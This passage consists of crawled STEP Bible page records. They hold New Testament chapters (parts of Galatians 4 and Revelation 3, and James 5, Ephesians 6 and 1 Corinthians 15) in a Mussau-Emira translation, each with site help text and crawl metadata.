nitna noxo ruuna xaka toxot at levempanga at ne temen, kerekngan lamdak at latkin tinotno ram.\" b\n31 Kuren la luvutnetak mi luvurinuk, nedik kopmen luvutnitna mo latkin asaxaruki, ketla nedik luvutnitna at latkin sepsepmus at ne Abaram.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Gal.4","date":"2018-10-18T22:55:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512015.74\/warc\/CC-MAIN-20181018214747-20181019000247-00373.warc.gz","language":"mmx","language_score":0.9999978542,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999978542327881}","num_words":1226,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.277,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"James 5\nLevempapaase Ri Luvuttadi Nopnovos1 Nemi limixin nopnovos mina ronga ia. Minang teng la mina bulu mila levenmumuat naba vot saparap nimi. 2 Lapnovos atnimi ira xap pam, la levesingsiga atnemi laxampide ira ngas koxorop pam i. 3 Leven gol atnimi la levesiliva ira lok kapmek pam mi libilinga, la na libilinga naba lox asuusu laxakapmek atnimi at laaleng ete la neni naba rin labantuxu atnimi ngan laxao. Nemi migak lok li bubua buaang levenaknixip la levempilas at na levenaleng kavaxap.\n4 Nemi xovisi mina raba luunun at luvuttadi di kaxat panga ro xataamang. Mina lox empana levesingising atdi! Levenanteng atdi, ne Moroa ira ronga vam i. Neni Leeme Silok la i lolos aleng. 5 Lorooro atnimi at na lavatkangka i umsu mi laxampanga avukat la nemi mik lok momo. Nemi mira anan avukat la mirang pong solo, ketla laaleng at ne Moroa rip sep kutkut limixin kapmek mo naba vot. 6 Nemi mi lok li limixin avukat at lavapaase la mip sev amet nedi di goxo lok taxakapmek; la kopmen dina tu ebelen eburu minimi.\nLorooro Atnedik Na Tu Tuxuruxun Mi Lising7 Luvutnetak mi luvurinuk. Mina ngangais mi lomomo se Leeme Silok nabamlong. Mina doma mumu laradi loklok tatao at laraamang; i tu tuxuruxun, la ia ngangais se laxangka na lox asuusu lempanga. Neni i nemen kangais bok ti larakabu mo na vot at leven gaaling teren. 8 Nemi bok mina tu tuxuruxun la mina ngangais mi lomomo, mila lovotpot at Leeme Silok i auret. 9 Luvutnetak mi luvurinuk. Nemen nemi mita gagalinga mu luvutneton nimi, mila ne Moroa naba vaxaru nimi at lavapaase. Lovotpot at laradi rongtonga linga i auret.\n10 Luvutnetak mi luvurinuk. Mina doma bilong ti lavaeme vapaase alii. Nedi diga vavang mi laasen at Leeme Silok la limixin diga lox asongot di, ketla diga tu tuxuruxun. La nedi di lok ngan lampoovo rinimi kusu mina tu tuxuruxun, mo do levenmumuat na vot saparap nimi. 11 Nedik di so asen nedi lavaeme vapaase alii do limixin nunuan mila diga tu lolos. Nemi miga ronga vam leretere at ne Jop; neni ga tu tuxuruxun la ga sosolok laxanmumuat gat pot parav i, la melemu Leeme Silok ga lok luvukat tin. Leeme Silok i umsu mi labalamu la lebelemumu.\n12 Luvutnetak mi luvurinuk. Lara lavanga i silok aleng, i lok keretna; nemen mita vangpe mi laxalibet kopla laxangka kopla levempanga vetpes bok. Dola nemi mina tong i do, \"tuturun,\" kopla \"kopmen,\" Moroa ba lok momo. Do mina lok lavangpangpe xerepmo, Moroa ba raba luunun kapmek tinimi.\nLising At Laradi Avukat I Ruuna Lololos13 Kereva, tara go atnimi ip kip tevenmumuat? Neni nak lok lising. Tara bok go i lok momo? Neni nak pixan emi asu. 14 Tara bok go atnimi i meres? Neni na ro ka loxongkulao silok at lotu la dina lok levesingising tin la dina saba i mi loxodan momonok at la olip at laasen at Leeme Silok. 15 Mo do nedi di nuunu ruturun do Leeme Silok naba lox aroo mo laradi, Leeme Silok naba lox aroo i. La do neni ga lok laxakapmek, Leeme Silok naba doxoma xepe laxakapmek teren. 16 Kuren la mina soxomus ela laxakapmek atnimi kantubu atnimi, la mina sing tinemi getgesara, kusu Leeme Silok naba lox aroo nimi. Do laradi nuunu loklok teren ik mokso, levesingising teren naba lolos aleng la naba epovo rinotno ri lok tooro laradi.\n17 I lok ngan levesingising at ne Elaisa. Ni laradi ga lok ngan dik. Neni ga ngising lolos ne Moroa ri larakabu noxo vot la larakabu goxo vot ti laxangka at lavantun maares la lavanna gaaling. 18 La melemu ni ga lok bok lising la ne Moroa ga lox asi larakabu ri lavatkangka la leveluxa ro at lentaamang ga su avukat.\nLaradi Nuunu I Lox Amlong Laradi Xapmek Basinge Lanmet19 Luvutnetak mi luvurinuk. Mo do tara atnimi i vas tabaara basinge langas tuturun, mina sar amlong ka i. 20 Nemi mina ven kisip na lavanga. Do taradi i lok tooro laradi kakapmek, la laradi kakapmek i on basinge langas at lanmet la iamlong parap ne Moroa, neni ira lox arooro vam mo laradi basinge lanmet lexen la ne Moroa naba doxoma xepe buaang laxaloklok kakapmek teren. I ruturun.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Jam.5","date":"2018-10-24T01:16:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583517628.91\/warc\/CC-MAIN-20181024001232-20181024022732-00458.warc.gz","language":"mmx","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000000238418579}","num_words":756,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.267,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ephesians 6\nLevelinga Ri Laxamdak Mi Laxaalik1 Nemi laxamdak mi laxaalik. Minang tonga res at levelinga at luvuttemen nimi mi luvutnen nimi at laasen at Leeme Silok, mila na loklok ik mokso ti mu asu i. 2 Lovoang Kaala i tong i,\n\"Mina lok ngangao at luvuttemen nimi mi luvutnen nimi.\" a\nNa loxot at lasangaun lenavolo, ni lara avot i tong asu loklox anarong tinedi di ronga res teren. 3 Nom loxot i lok keretna,\n\"Mina lok ngangao at luvuttemen nimi mi luvutnen nimi kusu lorooro atnimi naba lox avukat mun la naba nemen babaalom at na lavatkangka.\" b\n4 Nemi luvuttemen laxamdak mi laxaalik. Nemen mita lok kapmek lebelen laxamdak mi laxaalik atnimi la dina musak, ketla mina lok tatao di mi loklok tik lox akmokso di at luruptuvuk atdi la mina anasa di mi levenanasa at Leeme Silok.\n5 Lavasaxaruki. Minang tonga res at luvuttadi amgomgo atnimi la mina umsu mi loklok ngangao la lanmarat; la lebelen nimi nak lox avukat tidi. Minang tonga res atdi kerekngan nemi ming tonga res at ne Karisito. 6 Minang tonga res atdi kopmen do ap mo mene nga di reven tata nemi, ketla mina gugu amisik ngan lavasaxaruki at ne Karisito la mina lox epovo lavavara at ne Moroa mi lorooro axap atnimi. 7 Mina lok leven gugu atnemi mi lorooro axap atnimi, i lok ngan ta do mi gugu ri Leeme Silok, la kopmen ti limixin mun, 8 mila miklen i do Leeme Silok naba raba luunun tinedi axap dik lok luvukat, keke i do neni lasaxaruki xopla xopmen.\n9 Nemi lubung amgomgo. Luruptuvuk atnemi na lok ngan legesara parap lavasaxaruki atnimi la mina xap at loklok ti paase mukmusak tidi. Mina doxoma i do ne Karisito laradi gomgo atnimi la atnedi bok, la ik lok to vana at laxalibet la i viila mumu nedik axap mi leges ampoovo mene nga.\nMina Gagas Ti Leesep10 Ti lox axap na lovoang. Mina lox alolos lorooro atnimi keneng at Leeme Silok la mina lok kaka lololos teren i silok pologat. 11 Mina siga levempanga singsiga no ne Moroa ga raba nemi min kusu miba epovo ri esep la mina tu lolos tangarang laxanbabala at ne Satan. 12 Nedik na kopmen ta esep tangarang mi limixin ketla nedik di esep tangarang mi laxampanga lolos at lamain at na lavatbung menemen, nedi lubungangelo xapmek, lubunggas, la luvuttadi amgomgo atdi. La dik ta esep tangarang mi lubungmixin kapmek at ne Satan dik lok to vana at lamavangkap. 13 Kuren la mina siga axap levempanga singsiga at ne Moroa i raba i ri leesep kusu mina gagas avukat ti mo laaleng kapmek at leesep, la miba epovo na tu lolos. La do mi gagas avukat pam, minaba tu tuxuruxun at nom leesep.\n14 Kuren la mina tu tuxuruxun; mina rebeng ka levelinga ruturun, i ngan labanbaane di sevut li i at labangbaangis atnimi; la mina suxa lorooro atnimi mi loklok mokmokso, i ngan labantaape at lobongobong. 15 La mina gagas ti paase asu Lagale Lavavang at lumulum i ngan labantaape at lengkangkedek tit pas avukat at nom leesep. 16 La mina sosolok bok nom lunuunu i ngan lenban kusu ri sep banpe nom axap levesoso xao at ne Satan i soso min. 17 La mina lok ka loklox arooro i ngan lavatkiam tik lok pe lesepsep la minaklen ka levelinga at ne Moroa i ngan lavarise sepsep at Loroonan Kaala. 18 Mina lox i na levempanga xeneng at levesingising atnemi, kusu minaba sing ka loklok tooro at ne Moroa. At levenaleng axap mina ngising at leventaangas axap no Loroonan i sasat ase nemi min. La mumu mun na langas, minaba tu lolos la mi noxo subu kot; mina ngising amisik ti limixin at ne Moroa.\n19 La mina ngising bok tia, kusu ne Moroa naba raba ia mi levenngas linga at levenaleng nia a lok gagas ti paase, kusu nia noxo marat la anaba lox axasep Lagale Lavavang mo ga nemen alipe. 20 Ni lavasuun teren la nenia, laradi xipkip levelinga at ne Moroa, ak lok de at loxokoxo. Mina ngising bok do nenia noxo marat ti tong asu Lagale Lavavang kerekngan ne Moroa i vara i.\nLevempapaase Avit21 Tikikas, neni neton orong atdik la lasaxaruki ruturun at Leeme Silok. Neni naba vosiga nimi la naba raba nimi mi lavapaase axasep mumu lorooro rak la lugugu rak nade. 22 Ni lavasuun teren la nenia aba riki i udom saparap nimi xusu miba xasep do lorooro atnema ik lok kereva, la kusu neni naba lox alolos nimi.\n23 Moroa ne Temen dik la Leeme Silok ne Iesu Karisito duna raba nemi luvutneton nama mi lenmila, la labalamu eburu mi lunuunu, 24 la letaba nabalamu naba nemen eburu minedi axap di balamu Leeme Silok atnedik, ne Iesu Karisito la mo labalamu noxo xap. I ruturun.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Eph.6","date":"2018-10-21T08:47:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583513804.32\/warc\/CC-MAIN-20181021073314-20181021094814-00274.warc.gz","language":"mmx","language_score":0.999981761,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999817609786987}","num_words":939,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.24,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corinthians 15\nKarisito Ga Roo Xat Pam At Lanmet1 Luvutnetak mi luvurinuk. A vara i do mina doma amlong ti nom Lagale Lavavang, nenia aga vavang min tinimi; miga siam ka i la lunuunu atnimi ga ru alolos teren. 2 Mo do lunuunu atnimi natmatkun teren, miba lok ka lorooro ren. Ket do kopmen mina nuunu at levelinga xerekngan nia aga vavang min, lunuunu atnimi naba lok ngan lavanga gamasa.\n3 Nia aga raba nemi mi levelinga nia aga lok kaka i boro at ne Karisito. Mo levelinga ga lok keretna. Karisito ga uu xorop ti loklok kakapmek atdik ngan Lovoang Kaala i tong i. 4 La digak mir i, la at laaleng sepsev avantun ni ga roo xat amlong manga, kerekngan Lovoang Kaala i tong i. 5 La ni ga ru asuvos ti ne Pita la melemu rinedi lasangaun mi legepura luvuttadi vavang. 6 La melemu bok neni ga ru asuvos tinedi lavalimo sangaun kobot (500) mi lenep mixin diga nuunu ren. Leventaba atdi digara met pam ketla buaang atnedi move di rooro. 7 La melemu neni ga ru asuvos ti ne Jems la tinedi bok luvuttadi vavang axap. 8 Melemu rinotno ni ga vot asuvos ba ria ngan ta laxadede nenen i visik kubun i.\n9 La nenia a lok ngan laradi gamasa maxopok atnedi luvuttadi vavang. Kopmen ana epovo xusu limixin dina tong ia do laradi vavang, mila nia agap sev asongot limixin nuunu at ne Moroa. 10 Ketla ne Moroa ga lox asuusu langsangan letaba nabalamu ren tia la ni ga lox amaxar ia, i ngan ta laradi vavang; la maxeneng at na letaba nabalamu ni ga raba ia min, laxampanga nunuan ga ravasu at lorooro rak, i ngan aga gugu lolos tinotno rinedi lentaba luvuttadi vavang. Ketla xopmen lololos tarak na nia aga gugu min, ketla letaba nabalamu at ne Moroa mo ga lox ia xusu a epovo ana gugu lolos. 11 Kuren la kopmen na lok petpes, dola nia aga vavang kopla luvuttadi vavang diga vavang tinimi; nema axap maga vavang mene mi legesa vavang la na Lagale Lavavang pam nemi miga siam kaka i.\nLaxakatu Kaxat Amlong At Ne Karisito La Atnedik Bok12 Lagale Lavavang maga vavang min tinimi dola, Moroa gara lox arooro xat amlong pam ne Karisito ri lorooro. Kuren la kopmen na ruturun i ngan ta i mo leventaba atnimi di tong i do limixin digara met pam, di noxo roo xat amlong. 13 Mo do i ruturun do limixin di met la di noxo xatu kaxat amlong ti lorooro, i ven ngan tai do ne Moroa goxo lox arooro amlong ne Karisito. 14 La mo do ne Karisito goxo roo xat amlong at lanmet, kopmen tavasuun tinotno ren kusu mana vavang tinimi la lunuunu bok atnimi ba lok ngan lavanga gamasa. 15 La mavana at nai, i ven ngan ta i do maga xarang taba ne Moroa do neni ga lox arooro amlong ne Karisito basinge lanmet; mila do i ruturun do limixin diga met pam di noxo roo xat amlong ti lorooro, i lox asuusu i do ne Moroa bok goxo lox arooro xat amlong ne Karisito. 16 Do xopmen taxakatu kaxat amlong, ne Karisito bok kopmen gi toxo roo amlong. 17 La do ne Karisito xopmen goxo roo amlong, lunuunu atnimi keneng at ne Karisito xopmen na ruturun; la laxakapmek move atnimi ik lok, ne Moroa xovisi na doxoma xape i. 18 La tinedi bok diga met mi lunuunu atnedi at ne Karisito, nedi bok diba seeve, do laxakatu amlong at ne Karisito xopmen na ruturun. 19 La mo do lodoxoma voovo atdik ti ne Karisito at na mun lorooro la kopmen ti lorooro melemu, lebelen tuntun at limixin tinedik naba silok ti lentaba vetpes.\n20 Ketla at na levenaleng, na levelinga i ruturun tinotno, Karisito gara roo xat amlong pam at lanmet ngan livipisik avot tinedi dinaba roo xat amlong; la kerepmo maklen tinotno i do mo limixin nuunu diga met pam, dinaba roo xat amlong bok. 21 Lanmet ga vot ti nai lavatbung menemen mumu mene legesa radi; kuren la lorooro xat amlong bok atnedi digara met pam i vasuun mun at ne Karisito, 22 mila keneng mun at laxakapmek at ne Adam ga raba avolo dik min. Kuren la lanmet ga vubeles mu limixin axap; la keneng at lixitkis esogo atdik mi ne Karisito, limixin axap di nuunu, do dina met, dinaba roo xat amlong. 23 Ketla nedi getgesara dinaba roo xat amlong at levengkonaleng axa atdi. Avot tinotno ne Karisito ga xatu kaxat amlong, la at laaleng neni namlong ude xopok, nedi ba mo limixin digara met pam mi lunuunu atdi xeneng at ne Karisito, dinaba roo xat amlong. 24 La melemu ba, laxavaxap at na lavatbung menemen naba vot; Karisito naba ruuna lololos mavana at levelolos atnedi luvuttadi amgomgo, labaroonan kapmek, la lavaeme silok axap diga sok tixirixes ne Moroa; la neni naba raba avolo ba Linintoo ren ti ne Moroa ne temen. 25 Karisito naba nemen ngan laradi gomgo se ne Moroa naba sev asi axap nedi dit kis munepen min la na lok li di maxopok at luxangkedek at ne Karisito. 26 Moroa naba lok kepe be nedi axap la melemu ni na lok kepe axap ba lanmet. 27 I ngan Lovoang Kaala i tong i do, \"Moroa naba lok li levempanga axap maxopok at luxangkedek teren.\" Kopmen lavasuun teren do ne Moroa bok nak lok maxopok at ne Karisito, ketla ne Moroa ga lok li levempanga axap maxopok at ne Karisito. Na i xasep tinotno. 28 Do levempanga axap ne Moroa na lok li i maxopok at loklok tatao at ne Karisito, melemu ne Karisito, nitna naba lok li i maxopok at ne Moroa; Karisito ga lok li levempanga axap maxopok teren la ne Moroa nabak lok tatao axap mavana atdi.\n29 Dola xopmen taxakatu kaxat amlong, kopmen tavasuun teren kusu nemi mi lok ka lesep susu ridi limixin digara met pam. Do labarongan di noxo roo xat amlong, na loklok atnimi noxo lok tooro di. 30 La kereva ba nema. Do xopmen taxakatu kaxat amlong, tila ba nema ma nemen keneng at losongsongot mumu lugugu at ne Moroa at levenaleng axap? 31 Luvutnetak mi luvurinuk. At levenaleng axap nia a vekip tangarang mi limixin dik lok do dinap sev amer ia. La a lok momo rinotno atla nemi mi nuunu saparap ne Iesu Karisito, Leeme Silok atnedik la na lomomo i sok lodoxoma rak kusu ana tong asu i na levelinga rinemi. 32 La do xopmen taxakatu kaxat amlong, kopmen tavasuun teren do agara esep eburu vam mi levempanga esep mi lavanuet kangkedek atdi ro Epesas. La do labarongan di noxo roo xat amlong, nenia aba ke xepe lugugu at ne Moroa la aba mumu asu loklok di tong i xeretna,\n\"Ata anan la ata inin mila dik ataba met soso mun.\" a\n33 Mina lok tatao nimi xusu tara noxo sar asoogong nimi ri laxakapmek kerepmo. La mina xasep do limixin kapmek diba lok kapmek luruptuvuk nunuan atnimi. 34 Minamlong ti levendoxoma nunuan atnimi la mina xap basinge leveloklok kakapmek atnimi, mila lentaba atnimi xopmen dina xasep nunuan at loklok at ne Moroa. A vaase i na xusu miba mangan.\nLoklok Ti Labantuxu Maxat At Lanmet35 Ketla tentaba diba sue, \"Labarongan dinaba roo xat ti lorooro xereva? Labantuxu salai dinaba ruuna xaka i?\" 36 Nemi laxampanga rangtangku. Do tara itlo liit panga ro at laxangka, noxo su xat soso do xovisi na mang. 37 La lavanga utlo li i at laxangka, ni liit panga gamasa mene nga, at lavatpiao, kopla tevempanga vetpes; kopmen unatlo axap nom luuna xusu naba su xat. 38 La ne Moroa xa ik lok katling mo liit kusu na su ngan lodoxoma ren ti mo liit panga. La neni xa ik lox asuusu mo liit naba su ngan luuna axa ap mo liit.\n39 Labantuxu at levempanga axap di rooro xopmen dina epovo; laradi i ruuna labantuxu vetpes, la levempanga mi lavanuet kangkedek i lok petpes la ti lavapixa i lok petpes la ti lenmat i lok petpes.\n40 La levempanga di nemen to vana at laxalibet, di lok petpes ti levempanga mede xopok. Levereven ap mo levempanga boro vana at laxalibet i lok petpes ti levereven at levempanga at na lavatkangka. 41 Levereven at laxangking i lok petpes; la lagaaling levereven petpes teren, larapenti levereven petpes la kantubu at nom larapenti, leventaba i lok petpes bok.\n42 Naba lok mun kuren do nedi digara met pam, dina roo xat amlong ti lorooro. Do dik mit lorongan, neni i mau. Do i roo xat, neni xopmen na mau bok ba. 43 Do dik mir i, neni i ven kapmek. La do neni i roo xat, neni naba ven avukat tinotno la na lolos. 44 Do dik mir i, neni labantuxu mene. La do na roo xat, ni labantuxu maxat boro at Loroonan Kaala. Nedik di ruuna labantuxu at na lavatbung menemen, kuren la i epovo bok do ata ruuna ka labantuxu maxat boro at Loroonan Kaala. 45 I lok ngan Lovoang Kaala i tong i do, \"Laradi avot ne Adam, ne Moroa ga rudum li i ngan laradi rooro.\" Ketla ne Adam mumu pit, neni ne Karisito, im taba lorooro at loroonan kusu ridik. 46 Kopmen loroonan nam gomgo avot, ketla labantuxu avot la melemu ba loroonan. 47 La ne Adam, ne Moroa ga rudum li i mi laxakup at laxangka, ketla ne Karisito, neni ga si boro vana at laxalibet. 48 Nedik di ruuna ka labantuxu ne Moroa ga rudum i mi laxangka ngan laradi avot ne Adam; la dik ataba ruuna ka bok labantuxu ngan at ne Karisito, ni ga si min boro vana at laxalibet. 49 La dik ataga ruuna ka labantuxu at laradi at na lavatkangka. La melemu levereven at labantuxu maxat atdik naba lok ngan levereven at labantuxu at laradi ga si boro vana at laxalibet.\n50 Luvutnetak mi luvurinuk. Nia a tong tuturun i do labantuxu atdik at na lorooro xopok, kopmen na epovo ri vubeles at Linintoo at ne Moroa. La levempanga i mau, kopmen na epovo xusu na lok ka tenep at lorooro avolo.\n51 Mina ronga avukat na levelinga ga nemen alipe. Buaang atnedik kovisi di noxo met, ketla do laangelo na mas luru xusu ri lok katling laxavaxap at na lavatbung menemen, soso ap mo mun loxonaleng nedik ataba unus. Naba lok soso mun ngan ta do laradi i vamsi, mila do dina mas luru, labarongan axap dinaba roo xat la kopmen di noxo met bok ba la nedik axap ataba unus. 53 Labantuxu do i mau, ni naba ngan ta labantuxu xopmen na mau. La labantuxu i epovo na met, ni naba milik ngan ta labantuxu ixo epovo na met. 54 La mo do levempanga na ravasu xerepmo, la lololos at lorooro na sev asi lololos at lanmet, neni na lavanga naba lox asorun levelinga at Lovoang Kaala i lok keretna,\n\"Dira vas asi axap tinotno vam lanmet.\" b\nLa i lok bok,\n55 \"Moroa ga lox axap pam lanmet la ga lok kepe lololos teren tik lox asongot la ti lok lainbulu.\" c\n56 Lanmet i lok ka lololos tik lox asongot limixin boro at laxakapmek, la laxakapmek i lok ka lololos boro at Lenavolo. 57 Ketla ata emi asu mi ne Moroa mila neni ga raba dik mi lorooro la ga lok pes lanmarat at lanmet basinge dik. Ni ga lox i na xeneng at Leeme Silok atdik ne Iesu Karisito.\n58 Kuren la luvutnetak mi luvurinuk orong, mina tu lolos at levelinga at ne Moroa la nemen tara ta sar asoogong ka nimi basinge luruturun teren. Minak lox angtang amisik at leven gugu atnimi ri Leeme Silok, atla mikleklen i do leven gugu atnimi ri Leeme Silok, ni noxo lok ngan lavanga gamasa.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Cor.15","date":"2018-10-24T00:38:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583517628.91\/warc\/CC-MAIN-20181024001232-20181024022732-00474.warc.gz","language":"mmx","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000050067901611}","num_words":2061,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.287,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 3\nLempapaase Uto Saparap Limixin Lotu Ro Sadis1 La Leeme Silok ga lok bok tia, \"Una malagan i na levelinga ti laangelo ik lok tatao limixin lotu ro Sadis.\n'Anai levelinga boro ap mo laradi i ruuna lavanuti leventoonan dik lok to melamgo at ne Moroa, la im tebeng lavanuti larapenti. Akleklen leveloklok atnimi; limixin di lok do mi ruuna lorooro, ketla kopmen, mi ruuna mun lanmet. 2 Araklen pam i do lorooro atnimi xopmen na mu asu lavavara at ne Moroa rak. Kuren la mina xatu kaxat basinge mo lanmet la mina lox alolos mo lorooro, lavanga mina met epopolo. 3 Mina doxoma bilong ti mo levenanasa miga ronga ka vam i, la mina mu asu i. La mina leeng tinotno basinge mo leveloklok kakapmek atnimi. Mo do mi noxo xatu kaxat basinge mo lanmet, aba vot pasa nimi ngan laradi xipkip pilo, la nemi xa mi noxoklen loxonaleng potpot tarak.\n4 Ketla lentaba mun atnimi ro Sadis kopmen di goxo lok laxakapmek. Nedi mo diba sigaara mi levesingsiga bunbun la dinaba emu minia mila nedi mo di epovo rinotno. 5 La nedi di tu lolos at lunuunu atdi, nedi bok diba sigaara mi levesingsiga bunbun. Nia xopmen tinotno a noxo lok kepe levenasen atdi ro at lubuk at lorooro, ketla nia aba tong i ri ne Tamak eburu mi lubung angelo ren do nedi limixin tarak. 6 Do tara i ruuna lubaalung, i lox avukat do neni na ronga levelinga at Loroonan at ne Moroa i tong asu i ri limixin lotu.\"\nLempapaase Uto Saparap Limixin Lotu Ro Piladelpia7 Leeme Silok ga lok bok tia, \"Una malagan na levelinga ti laangelo ik lok tatao limixin lotu dik lok ro Piladelpia.\n'Ana levelinga neni boro at laradi i melemelengan la i ruturun. La neni im tebeng lengki at ne Devit, loorong silok me gano; mo lengki i susuang lumusaragu at Linintoo at ne Moroa. Mo lumusaragu neni i susuang i, kopmen tara na epovo xusu na vi pe i, la mo lumusaragu neni i vi pe i, ixo epovo do tara na suang i. 8 Akleklen leveloklok atnimi. Ketla mina ronga i na, ara suang taba vam nimi mi lumusaragu, la ixo epovo do tara na sat pe i. Aklen i do nemi mi ruuna lololos lixilik mene la aklen box i do nemi migang tonga res at levelinga rak, la kopmen migoxo sok tixirixes laasen tarak. 9 Lentaba limixin mo di tong i do nedi me Judaia, ketla kopmen, nedi lavaanat babala la nedi limixin lotu at ne Satan. Anaba lok nedi la dina vot pasa nimi la dina xis tiktikbu mi lempatgulom atdi dom melamgo atnimi la diba tong asu i do nenia a balamu aleng tinotno nimi. 10 Nemi miga momo ri mumu asu levelinga rak, ga lok keretna, 'Mina tu lolos kantubu at levenmumuat.' Kuren la aba lok kepe nimi basinge nom levenmaares mumuat mo naba vot at na lavatbung menemen, kusu na lok tong pen limixin axap. 11 Anaba vot soso mun; minam tebeng alolos mo lunuunu atnimi kusu tara noxo xip pilo ka mo lempatbungorong atnimi. 12 Do tara na tu lolos, aba lox i ngan luxus una at loogu laplavang at ne Moroa rak, la ixo epovo rinotno do neni naba vas su basinge i. Aba malagan li laasen at ne Moroa rak teren la laasen orong bok at lemenemen silok at ne Moroa rak. Mo lemenemen silok, ni Jerusalem maxat mo naba ravasi boro vana at laxalibet basinge ne Moroa rak. La aba malagan bok laasen maxat tarak go ren. 13 Do tara i ruuna lubaalung, i lox avukat do neni na ronga levelinga at Loroonan at ne Moroa i tong asu i ri limixin lotu.\"\nLempapaase Uto Saparap Limixin Lotu Ro Lodisia14 La Leeme Silok ga lok bok tia xeretna, \"Una malagan na levelinga ti laangelo ik lok tatao limixin lotu ro Lodisia.\n'Ana levelinga boro at ne Luruturun, ni laradi ruturun i tong asu levelinga at ne Moroa la ni lamgomgo at luruntudum li at ne Moroa. 15 Aklen leveloklok atnimi la aklen i do lodomdoma atnimi xopmen naplivi ri lok lugugu at ne Moroa. A vara i do lotu atnimi naplivi aleng kopla na mumudut tinotno. 16 Kuren la nenia anaba riki xepe nimi basinge ia mila nemi mik lok kantubu, lotu atnimi kopmen naplivi la kopmen na mumudut tinotno. 17 Nemi mi tong i do, 'Nema mo map novos aleng la ma ruuna lempanga axap la maxok pakes bok ti tempanga.'\nKetla mixoklen i do nemi limixin etaba la mi baava. Nemi mi lok ngan limixin pakpakes, lengkatli atdi i main, la dik lok beleben. 18 Kuren la a tong lolos i na rinimi do mina un ka logol nunuan mede rak, ni logol laxao in tin pes levenbiva basinge i la imgames aleng; la kerepmo mibap novos aleng. Mina un ka bok levesingsigaara bunbun kusu miba etara pe 